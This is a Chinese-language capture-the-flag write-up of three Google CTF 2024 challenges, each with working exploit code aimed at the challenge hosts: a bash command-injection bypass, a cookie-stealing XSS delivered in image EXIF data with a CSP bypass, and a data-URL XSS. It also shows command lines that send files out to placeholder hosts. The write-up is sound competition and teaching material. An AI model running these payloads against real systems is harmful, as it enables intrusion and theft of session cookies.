Google CTF 2024 WriteUp
戰績
oneecho
概述
nc
進去是一個可以讓你下指令的 shell
然而只能下 echo
不能下其他的,目測要 command injection
到 challenge.js
來看看他怎檔的。
首先他 require 了 bash-parser
const parse = require('bash-parser');
接著他把指令 parse 成 ast
const ast = parse(cmd);
call check
做檢查
if (!check(ast)) (
rl.write('Hacker detected! No hacks, only echo!');
rl.close();
return;
}
來看看他怎麼檢查的。
const check = ast => {
if (typeof(ast) === 'string') {
return true;
}
for (var prop in ast) {
if (prop === 'type' && ast[prop] === 'Redirect') {
return false;
}
if (prop === 'type' && ast[prop] === 'Command') {
if (ast['name'] && ast['name']['text'] && ast['name']['text'] != 'echo') {
return false;
}
}
if (!check(ast[prop])) {
return false;
}
}
return true;
};
然後用 bash-parser-playground 看看 ast 的結構。
{
"type": "Script",
"commands": [
{
"type": "Command",
"name": {
"text": "echo",
"type": "Word"
},
"suffix": [
{
"text": "aaa",
"type": "Word"
}
]
},
{
"type": "LogicalExpression",
"op": "and",
"left": {
"type": "Command",
"name": {
"text": "ls",
"type": "Word"
},
"suffix": [
{
"text": "aaa",
"type": "Word"
}
]
},
"right": {
"type": "Pipeline",
"commands": [
{
"type": "Command",
"name": {
"text": "ls",
"type": "Word"
},
"suffix": [
{
"text": "bbb$(ls ddd)",
"expansion": [
{
"loc": {
"start": 3,
"end": 11
},
"command": "ls ddd",
"type": "CommandExpansion",
"commandAST": {
"type": "Script",
"commands": [
{
"type": "Command",
"name": {
"text": "ls",
"type": "Word"
},
"suffix": [
{
"text": "ddd",
"type": "Word"
}
]
}
]
}
}
],
"type": "Word"
}
]
},
{
"type": "Command",
"name": {
"text": "ls",
"type": "Word"
},
"suffix": [
{
"text": "ccc",
"type": "Word"
}
]
}
]
}
}
]
}
這邊試了部分 command injection 的手法,但可以看到都有成功辨識成 Command
,而 check
function 的檢查是 recursive 的,所以理論上上面的這些 payload 檢查都不會過。
解題
首先再仔細看看 check
function
if (prop === 'type' && ast[prop] === 'Command') {
if (ast['name'] && ast['name']['text'] && ast['name']['text'] != 'echo') {
return false;
}
}
其中 ast['name']['text']
會有問題,由於 js week type 的特性,當字串為空值的時候會是 false
,因此除了 command 為 echo 的指令以外 command 為空值的指令也能用。
那在何種情況 command 會是空值呢?這邊發現在定義 environment variable
的時候 command 會是空值。
也就是說我們除了下 echo
以外也可以定義 environment variable
,那這能做甚麼,這就能利用 bash 裡面 Arithmetic Expansion
也就是 $((1+1))
以及 array 也就是 arr=(aa bb); echo ${arr[0]}
這個兩個功能的特性。
首先 Arithmetic Expansion
裡面如果出現 variable 的話她會自動把 variable 內的表達式做展開,也就是 test='1+1'; echo $((test+1))
你會得到 $(((1+1)+1))
也就是 3。
再來 array 如果在 Arithmetic Expansion
內,並且她的 index 有 command substitution
也就是 $()
的話一樣會執行 command,也就是說 arr=(1 2); echo $((arr[$(echo 1)]+1))
這樣會得到 $((arr[1]+1))
展開後是 $((2+1))
也就是 3。
利用這兩點我們可以組合出這個 payload='arr[$(RCE)]'; echo $(( payload == 1 ));
再 RCE
的位置可以放任意指令並執行,這點我們可以用這個指令做測試 arr='1' payload='arr[$(echo 0)]'; echo $(( payload == 1 ))
但是用這種方式所造成的 RCE 沒辦法使用 STDOUT 輸出任何東西,因此要另外想回傳 flag 的方發,遠本試過用網路回傳如:payload='arr[$(cat /flag > /dev/tcp/<IP>/<PORT>)]'; echo $(( payload == 1 ));
或者 payload='arr[$(curl <URL>/$(cat /flag))]'; echo $(( payload == 1 ));
等等方法,但都沒成功,於是我試架一次他的環境,發現他的環境沒有 /dev
然後我把 nc
放進去以後發現環境沒網路,所以沒辦法用網路傳 flag 回來。
最後發現他有 /proc
所以試著用 payload='arr[$(cat /flag > /proc/$$/fd/1)]'; echo $(( payload == 1 ));
不知道為何依然沒成功,後來我發現他的 nodejs 程式每次執行一定再 pid 1 所以我就用 payload='arr[$(cat /flag > /proc/1/fd/1)]'; echo $(( payload == 1 ));
就成功拿到 flag 了。
exploit
import pwn
import base64
import sys
import subprocess
r = pwn.remote("onlyecho.2024.ctfcompetition.com", 1337)
def genpayload(cmd):
return f"payload='arr[$({cmd})]'; echo $(( payload == 1 )); "
sys.stdout.buffer.write(r.recvuntil(b') solve '))
token = r.recvuntil(b'\n')
sys.stdout.buffer.write(token)
token = token.strip().decode()
r.sendline(subprocess.run(f'bash -c "python3 <(curl -sSL https://goo.gle/kctf-pow) solve {token}"', shell=True, capture_output=True).stdout.strip())
sys.stdout.buffer.write(r.recvrepeat(timeout=1))
r.sendline(genpayload('cat /flag > /proc/1/fd/1').encode())
sys.stdout.buffer.write(r.recvrepeat(timeout=1))
Flag
CTF{LiesDamnedLiesAndBashParsingDifferentials}
grand prix heaven
概述
這題有個網頁
可以 post 自己喜歡的車的圖片以及他的資訊,也可以用網址查看 post 後的車
接著他有兩個 server,一個是網頁,另一個是 template server,都是 nodejs,首先看看首頁的後端程式,我們可以注意到所有的 frontend route 都會有一個 template pieces,接著 web server 會把這個 template pieces 用 multipart/form-data
送到 template server,然後 template server 會依照這個 list 組合成一個 html 並回傳,然後 web server 再回傳這個 html 給 client。
app.get("/", async (req, res) => {
try {
var data = {
0: "csp",
1: "head_end",
2: "index",
3: "footer",
};
await needle.post(
TEMPLATE_SERVER,
data,
{ multipart: true, boundary: BOUNDARY },
function (err, resp, body) {
if (err) throw new Error(err);
return res.send(body);
}
);
} catch (e) {
console.log(`ERROR IN /:\n${e}`);
return res.status(500).json({ error: "error" });
}
});
再來講講 template server,他有很多用來組合網頁的零件,其中 apiparser
跟 mediaparser
最有趣,他分別對應到 apiparser.js
與 mediaparser.js
這兩個都是用來處理如何顯示 post 後的車的頁面,其中 mediaparser 被棄用,再 web server 裡完全看不到他,我們來看看程式碼。
addEventListener("load", (event) => {
params = new URLSearchParams(window.location.search);
let requester = new Requester(params.get('F1'));
try {
let result = requester.makeRequest();
result.then((resp) => {
if (resp.headers.get('content-type') == 'image/jpeg') {
var titleElem = document.getElementById("title-card");
var dateElem = document.getElementById("date-card");
var descElem = document.getElementById("desc-card");
resp.arrayBuffer().then((imgBuf) => {
const tags = ExifReader.load(imgBuf);
descElem.innerHTML = tags['ImageDescription'].description;
titleElem.innerHTML = tags['UserComment'].description;
dateElem.innerHTML = tags['ICC Profile Date'].description;
})
}
})
} catch (e) {
console.log("an error occurred with the Requester class.");
}
});
可以看到他會讓 browser 依照 F1
這個 param 所設的路徑去取得 https://grandprixheaven-web.2024.ctfcompetition.com/api/get-car/<F1>
這個網站的內容,如果內容是 jpg 圖片的話,就解析圖片的一些資訊並讓前端顯示對應欄位的資料,這邊可以看到他是用 innerHTML
也就是說會有 XSS
。
至於 apiparser
其實內容差不多。
addEventListener("load", (event) => {
params = new URLSearchParams(window.location.search);
let requester = new Requester(params.get('F1'));
try {
let result = requester.makeRequest();
result.then((resp) => resp.json()).then((jsonBody) => {
var titleElem = document.getElementById("title-card");
var dateElem = document.getElementById("date-card");
var descElem = document.getElementById("desc-card");
var imgElem = document.getElementById("img-card");
titleElem.textContent = `${jsonBody.model} ${jsonBody.make}`;
dateElem.textContent = jsonBody.createdAt;
if (jsonBody.img_id != "") {
imgElem.src = `/media/${jsonBody.img_id}`;
}
})
} catch (e) {
console.log("an error occurred with the Requester class.");
}
});
只是改成用 json 處理並且用 textContent
設定欄位而已,所以要改成用 mediaparser
才會有 XSS
的問題。
至於如何發 request ,來看一下 retrieve.js
。
class Requester {
constructor(url) {
const clean = (path) => {
try {
if (!path) throw new Error("no path");
let re = new RegExp(/^[A-z0-9\s_-]+$/i);
if (re.test(path)) {
// normalize
let cleaned = path.replaceAll(/\s/g, "");
return cleaned;
} else {
throw new Error("regex fail");
}
} catch (e) {
console.log(e);
return "dfv";
}
};
url = clean(url);
this.url = new URL(url, 'https://grandprixheaven-web.2024.ctfcompetition.com/api/get-car/');
}
makeRequest() {
return fetch(this.url).then((resp) => {
if (!resp.ok){
throw new Error('Error occurred when attempting to retrieve media data');
}
return resp;
});
}
}
可以看到這邊有路徑檢查
if (!path) throw new Error("no path");
let re = new RegExp(/^[A-z0-9\s_-]+$/i);
if (re.test(path)) {
// normalize
let cleaned = path.replaceAll(/\s/g, "");
return cleaned;
} else {
throw new Error("regex fail");
}
由於預設是 apiparser 所以拿到的資料應該會是 json,當成功改成 mediaparser
我們必須要繞過這個路徑檢查來達成存取圖片的目的。
最後 web server 有一個 route
app.post("/report", async (req, res) => {
const url = req.body.url;
if (typeof url !== "string" || !url.startsWith('https://grandprixheaven-web.2024.ctfcompetition.com/')) {
res.status(200).send("invalid url").end();
return;
}
bot.visit(url);
res.send("Done!").end();
});
因此我們可以知道這題是一個 XSS challenge
解題
目標是要新增一台車,並且顯示頁面時要使用 mediaparser
同時 F1
param 必須要是上傳的圖片的路徑,且該圖片的資訊要有 XSS payload,且網頁不能有 CSP 否則 XSS 傳出資料時會被 CSP 擋住,最後送這網址給 bot 瀏覽。
首先我們來看看顯示車的 frontend route
app.get("/fave/:GrandPrixHeaven", async (req, res) => {
const grandPrix = await Configuration.findOne({
where: { public_id: req.params.GrandPrixHeaven },
});
if (!grandPrix) return res.status(400).json({ error: "ERROR: ID not found" });
let defaultData = {
0: "csp",
1: "retrieve",
2: "apiparser",
3: "head_end",
4: "faves",
5: "footer",
};
let needleBody = defaultData;
if (grandPrix.custom != "") {
try {
needleBody = JSON.parse(grandPrix.custom);
for (const [k, v] of Object.entries(needleBody)) {
if (!TEMPLATE_PIECES.includes(v.toLowerCase()) || !isNum(parseInt(k)) || typeof(v) == 'object')
throw new Error("invalid template piece");
// don't be sneaky. We need a CSP!
if (parseInt(k) == 0 && v != "csp") throw new Error("No CSP");
}
} catch (e) {
console.log(`ERROR IN /fave/:GrandPrixHeaven:\n${e}`);
return res.status(400).json({ error: "invalid custom body" });
}
}
needle.post(
TEMPLATE_SERVER,
needleBody,
{ multipart: true, boundary: BOUNDARY },
function (err, resp, body) {
if (err) {
console.log(`ERROR IN /fave/:GrandPrixHeaven:\n${e}`);
return res.status(500).json({ error: "error" });
}
return res.status(200).send(body);
}
);
});
我們可以注意到這邊的 template pieces 是可以自己定義的
let needleBody = defaultData;
if (grandPrix.custom != "") {
try {
needleBody = JSON.parse(grandPrix.custom);
for (const [k, v] of Object.entries(needleBody)) {
if (!TEMPLATE_PIECES.includes(v.toLowerCase()) || !isNum(parseInt(k)) || typeof(v) == 'object')
throw new Error("invalid template piece");
// don't be sneaky. We need a CSP!
if (parseInt(k) == 0 && v != "csp") throw new Error("No CSP");
}
} catch (e) {
console.log(`ERROR IN /fave/:GrandPrixHeaven:\n${e}`);
return res.status(400).json({ error: "invalid custom body" });
}
}
如何定義就要看新增車的 route
app.post("/api/new-car", async (req, res) => {
let response = {
img_id: "",
config_id: "",
};
try {
if (req.files && req.files.image) {
const reqImg = req.files.image;
if (reqImg.mimetype !== "image/jpeg") throw new Error("wrong mimetype");
let request_img = reqImg.data;
let saved_img = await Media.create({
img: request_img,
public_id: nanoid.nanoid(),
});
response.img_id = saved_img.public_id;
}
let custom = req.body.custom || "";
let saved_config = await Configuration.create({
year: req.body.year,
make: req.body.make,
model: req.body.model,
custom: custom,
public_id: nanoid.nanoid(),
img_id: response.img_id
});
response.config_id = saved_config.public_id;
return res.redirect(`/fave/${response.config_id}?F1=${response.config_id}`);
} catch (e) {
console.log(`ERROR IN /api/new-car:\n${e}`);
return res.status(400).json({ error: "An error occurred" });
}
});
我們只要在 post body 裡面多塞個 custom 裡面放 template pieces 的 json 就可以了。
再回到 /fave/:GrandPrixHeaven
這邊的定義 template pieces 還是有一些限制
if (!TEMPLATE_PIECES.includes(v.toLowerCase()) || !isNum(parseInt(k)) || typeof(v) == 'object')
就是我們的 template piece 必須要包含再 TEMPLATE_PIECES
內且 index 必須要是數字,以及 template piece 的內容的 type 不能是 object
。
const TEMPLATE_PIECES = [
"head_end",
"csp",
"upload_form",
"footer",
"retrieve",
"apiparser", /* We've deprecated the mediaparser. apiparser only! */
"faves",
"index",
];
這邊數字的地方很有趣是他是先過 parseInt
再 isNum
而 js 的 parseInt
有一個特性是只要 string 的開頭是數字都能被 parse 成數字
所以我們可以利用這點在 index 裡面放任意的東西,這可以影響到傳遞的 template pieces 的排序,因為做 JSON.parse 時會對 key 做一次排序。
除此之外還會影響一個問題,就是可以做到 CRLF injection,且由於 boundary 是寫死的,這樣可以做到 inject multipart/form-data 來達成添加 template piece 的目標。
CSP 的部分由於他會強制檢查一定要有 csp 這個 template pieces 且 index 一定要是 0,但這邊的數字一樣是會過 parseInt 所以可以用上面講的方式去影響排序,讓 CSP 放到最後面,放到最後會有甚麼影響,這邊可以看到 template server 的 index.js
。
const parseMultipartData = (data, boundary) => {
var chunks = data.split(boundary);
// always start with the <head> element
var processedTemplate = templates.head_start;
// to prevent loading an html page of arbitrarily large size, limit to just 7 at a time
let end = 7;
if (chunks.length-1 <= end) {
end = chunks.length-1;
}
for (var i = 1; i < end; i++) {
// seperate body from the header parts
var lines = chunks[i].split('\r\n\r\n')
.map((item) => item.replaceAll("\r\n", ""))
.filter((item) => { return item != ''})
for (const item of Object.keys(templates)) {
if (lines.includes(item)) {
processedTemplate += templates[item];
}
}
}
return processedTemplate;
}
可以看到他最多只拿最上面的 6 個 template pieces
let end = 7;
if (chunks.length-1 <= end) {
end = chunks.length-1;
}
for (var i = 1; i < end; i++) {
所以只要上面放 7 個 template pieces 並把 csp 移到最下面,取得的 html 就不會有 CSP
我們就可以構造出以下的 json
{
"1": "retrieve",
"2\"\r\n\r\nmediaparser\r\n--GP_HEAVEN\r\nContent-Disposition: form-data; name=\"3": "head_end",
"4": "faves",
"5": "footer",
"6": "footer",
"0a": "csp"
}
然後 post 上去新增
(ps: 這是還沒處理 csp 的)
以後來看一下頁面
可以看到成功拿到 mediaparser,但由於我們 F1
param 裡的 path 也就是 https://grandprixheaven-web.2024.ctfcompetition.com/api/get-car/<F1>
是 json 所以要想辦法讓 F1
跳到圖片的路徑,比如說 ../../media/<img-id>
。
但是 retrieve.js
有路徑檢查
if (!path) throw new Error("no path");
let re = new RegExp(/^[A-z0-9\s_-]+$/i);
if (re.test(path)) {
// normalize
let cleaned = path.replaceAll(/\s/g, "");
return cleaned;
} else {
throw new Error("regex fail");
}
所以這邊要想辦法繞 RegExp。
裡面有一個部分很有趣,那就是 A-z
這邊應該要是 A-Za-z
,這樣寫或造成的影響是,因為他是依照 ascii 的順序,因此放在 Z 到 a 中間的字元是可以用的,也就是 Z[\]^_`a
其中的 \
,因為 retrieve.js
做 request 時會用 new URL
做 url parse,而 \
會被他解成 /
,並且如果 path 是絕對路徑時,他會把 base url 裡變得 path 蓋掉,所以如果我放 \media\<img-id>
會被他解析成 https://grandprixheaven-web.2024.ctfcompetition.com/media/<img-id>
,這樣就成功繞過了。
因此我們的 xss url 會是 https://grandprixheaven-web.2024.ctfcompetition.com/fave/<car-id>?F1=\media\<img-id>
,把這個丟 report
就能 xss
所以整體順序是:
- 先生帶 xss payload 的圖片
- 新增車並上傳該圖片,並且對 custom 做操作繞過檢查塞進
mediaparser
且拔掉csp
- 取得車的 url
- 解析 json 拿到 img-id
- 構建 xss url
exploit
from PIL import Image
import piexif
import io
import requests
import urllib.parse
url = "https://grandprixheaven-web.2024.ctfcompetition.com"
httpserver = "https://vpn.chummydns.com:20000/"
img = Image.new('RGB', (10, 10))
exif_dict = {'0th': {270: f"<svg><svg/onload='window.location=\"{httpserver}\"+document.cookie'>"}}
exif_bytes = piexif.dump(exif_dict)
buffer = io.BytesIO()
img.save(buffer, format='JPEG', exif=exif_bytes)
buffer.seek(0)
r = requests.post(urllib.parse.urljoin(url, '/api/new-car'), allow_redirects=False, files={
'image': ('test.jpg', buffer, 'image/jpeg'),
}, data={
'year': 2004,
'make': 'aaa',
'model': 'aaa',
'custom': '{"1":"retrieve","2\\"\\r\\n\\r\\nmediaparser\\r\\n--GP_HEAVEN\\r\\nContent-Disposition: form-data; name=\\"3":"head_end","4":"faves","5":"footer","6":"footer","0a":"csp"}'
})
f1url = urllib.parse.urlparse(urllib.parse.urljoin(url, r.headers['Location']))
f1path = f1url.path
f1query = urllib.parse.parse_qs(f1url.query)
r = requests.get(urllib.parse.urljoin(url, f"/api/get-car/{f1query['F1'][0]}"))
imgid = r.json()['img_id']
params = {
"F1": f"\media\{imgid}"
}
xssurl = f'{urllib.parse.urljoin(url, f1path)}?{urllib.parse.urlencode(params)}'
requests.post(urllib.parse.urljoin(url, "/report"), data={
'url': xssurl
})
Flag
CTF{Car_go_FAST_hEART_Go_FASTER!!!}
sappy
概述
這題網站長這樣
這四個按鈕會分別顯示個別設定好的 html
下面 share 則是傳遞任意網址他們的 bot 就會去瀏覽那個網址
看到這裡應該可以猜到又是 XSS
來看一下前端 html indeex.html
<p>
Hi! I'm a beginner in programming and this is my first application,
called SAPPY! I'm sharing here some quirks I learnt about JavaScript.
Use the buttons below to find out!
</p>
<div id="pages" class="row flex-center"></div>
<iframe></iframe>
const iframe = document.querySelector("iframe");
function onIframeLoad() {
iframe.contentWindow.postMessage(
`
{
"method": "initialize",
"host": "https://sappy-web.2024.ctfcompetition.com"
}`,
window.origin
);
}
iframe.src = "./sap.html";
iframe.addEventListener("load", onIframeLoad);
//.............
fetch("pages.json")
.then((r) => r.json())
.then((json) => {
for (const [id, { title }] of Object.entries(json)) {
const button = document.createElement("button");
button.setAttribute("class", "margin");
button.innerText = title;
button.addEventListener("click", () => switchPage(id));
divPages.append(button);
}
});
function switchPage(id) {
const msg = JSON.stringify({
method: "render",
page: id,
});
iframe.contentWindow.postMessage(msg, window.origin);
}
可以看到他的按鈕跟顯示是用 iframe,按鈕用 postMessage
來控制 iframe,按鈕則是依照 /pages.json
來生成,iframe 會去瀏覽 ./sap.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<style>
body {
margin: 0;
}
</style>
</head>
<body>
<div id="output"></div>
<script src="./static/sap.js"></script>
<script type="module">
const INTERVAL = 100;
let lastHeight = -1;
setInterval(() => {
const height = document.body.clientHeight;
if (height === lastHeight) return;
lastHeight = height;
parent.postMessage(
JSON.stringify({
method: "heightUpdate",
height: height,
}),
"*"
);
}, INTERVAL);
</script>
</body>
</html>
裡面使用了 ./static/sap.js
這邊的 js 在架網站時是有過 compile 的,所以 f5 看不到原始碼。
來看看他如何載入文字
const Uri = goog.require("goog.Uri");
function getHost(options) {
if (!options.host) {
const u = Uri.parse(document.location);
return u.scheme + "://sappy-web.2024.ctfcompetition.com";
}
return validate(options.host);
}
function validate(host) {
const h = Uri.parse(host);
console.log(host);
console.log(h.getDomain());
if (h.hasQuery()) {
throw "invalid host";
}
if (h.getDomain() !== "sappy-web.2024.ctfcompetition.com") {
throw "invalid host";
}
return host;
}
function buildUrl(options) {
return getHost(options) + "/sap/" + options.page;
}
//....................................................
switch (method) {
case "initialize": {
if (!data.host) return;
API.host = data.host;
console.log(API.host);
break;
}
case "": {
if (typeof data.page !== "string") return;
const url = buildUrl({
host: API.host,
page: data.page,
});
const resp = await fetch(url);
if (resp.status !== 200) {
console.error("something went wrong");
return;
}
const json = await resp.json();
if (typeof json.html === "string") {
output.innerHTML = json.html;
}
break;
}
}
可以看到他會先用 postMessage
的 initialize
設定好存取 page info 的 base url,接著用 postMessage
的 render
依照對應的 page id 跟 base url 來用 buildUrl
產生對應的 url,產生前他會對 base url 做一次檢查,如果 domain 不是 sappy-web.2024.ctfcompetition.com
就會直接 invalid host
,如果是就直接 <base url> + "/sap/" + <page id>
。
產生完 url 以後他會去該 url 取得 json,看一下後端 api 的程式 app.js
const pages = require("./pages.json");
//.....................................
app.get("/sap/:p", async (req, res) => {
if (!pages.hasOwnProperty(req.params.p)) {
res.status(404).send("not found");
return res.end();
}
const p = pages[req.params.p];
res.json(p);
});
他會去 page.json
取得對應 page id 的資料並回傳 json
{
"floating-point": {
"title": "0.1 + 0.2 != 0.3",
"html": "Because of the underyling floating point arithmetic, in JavaScript 0.1+0.2 is <b>not</b> equal to 0.3!"
},
"document-all": {
"title": "document.all",
"html": "document.all is an instance of Object, you can check it. But then: <code>typeof document.all === 'undefined'</code>!"
},
"plus-operator": {
"title": "plus operator",
"html": "Here's a little riddle: what is the result of <code>[]+{}</code>? It's <code>\"[object Object]\"</code>!"
},
"no-lowercase": {
"title": "no lowercase characters",
"html": "Do you know it's possible to call arbitrary JS code without using lowercase characters? Here I am calling <code>console.log(1)</code>: <code>[]['\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162']['\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162']('\\143\\157\\156\\163\\157\\154\\145\\56\\154\\157\\147\\50\\61\\51')() </code>"
}
}
sap.js
拿到 page info 以後會直接用 innerHTML
把 json.html
放進 output
裡,這邊會產生 xss
const json = await resp.json();
if (typeof json.html === "string") {
output.innerHTML = json.html;
}
所以我們的目標是要自己架一個網站裡面會嵌入目標網站的 sap.html
然後再操作 page info url 去取得有 xss payload 的 page info 讓 sap.html
去載入造成 xss,再將自己架的網頁的 url 送給目標的 bot 取得 cookie。
解題
這題的重點是要如何繞 if (h.getDomain() !== "sappy-web.2024.ctfcompetition.com")
基本上除非 goog.Uri
有洞,否則不太可能繞過,但是他沒有限制 scheme
只能用 http 或 https,而 fetch 是可以塞 data scheme 的,所以我就可以構造以下 url
data://sappy-web.2024.ctfcompetition.com/;base64,eyJodG1sIjoiPHN2Zz48c3ZnL29ubG9hZD0nd2luZG93LmxvY2F0aW9uPVwiaHR0cHM6Ly92cG4uY2h1bW15ZG5zLmNvbToyMDAwMC94c3NcIitkb2N1bWVudC5jb29raWUnPiJ9Cg==#
其中 data://sappy-web.2024.ctfcompetition.com/
可以保證 getDomain
是 sappy-web.2024.ctfcompetition.com
然後 ;base64,
表示後面的東西要過 base64 decode 接著後面的 base64 就是我們 payload 的 json
{
"html": "<svg><svg/onload='window.location=\"https://vpn.chummydns.com:20000/xss\"+document.cookie'>"
}
最後的 #
則是讓後面的 /sap/<page id>
變成 hash tag 來忽略掉。
這樣就能成功 xss 了。
但是還有一個問題是因為 iframe
內的網站是不會帶 cookie 的,所以要找別的方法載入網站並控制,而這邊選擇用 window.open
來解決。
exploit
from flask import Flask,request,redirect,Response,render_template
import json
app = Flask(__name__)
@app.route('/',methods=['GET'])
def root():
return render_template('index.html')
@app.route('/<path:data>',methods=['GET'])
def hack(data=''):
return "hack"
if __name__ == "__main__":
app.run(host="::", port=20000)
<script>
const url = 'https://sappy-web.2024.ctfcompetition.com'
win = window.open(`${url}/sap.html`);
function hack() {
win.postMessage(JSON.stringify({
method: "initialize",
host: "data://sappy-web.2024.ctfcompetition.com/;base64,eyJodG1sIjoiPHN2Zz48c3ZnL29ubG9hZD0nd2luZG93LmxvY2F0aW9uPVwiaHR0cHM6Ly92cG4uY2h1bW15ZG5zLmNvbToyMDAwMC94c3NcIitkb2N1bWVudC5jb29raWUnPiJ9Cg==#",
}), url);
win.postMessage(JSON.stringify({
method: "render",
page: "xss",
}), url);
loadpage();
}
setTimeout(hack, "1000");
</script>
Flag
CTF{parsing_urls_is_always_super_tricky}
戰隊其他人的 write up
待補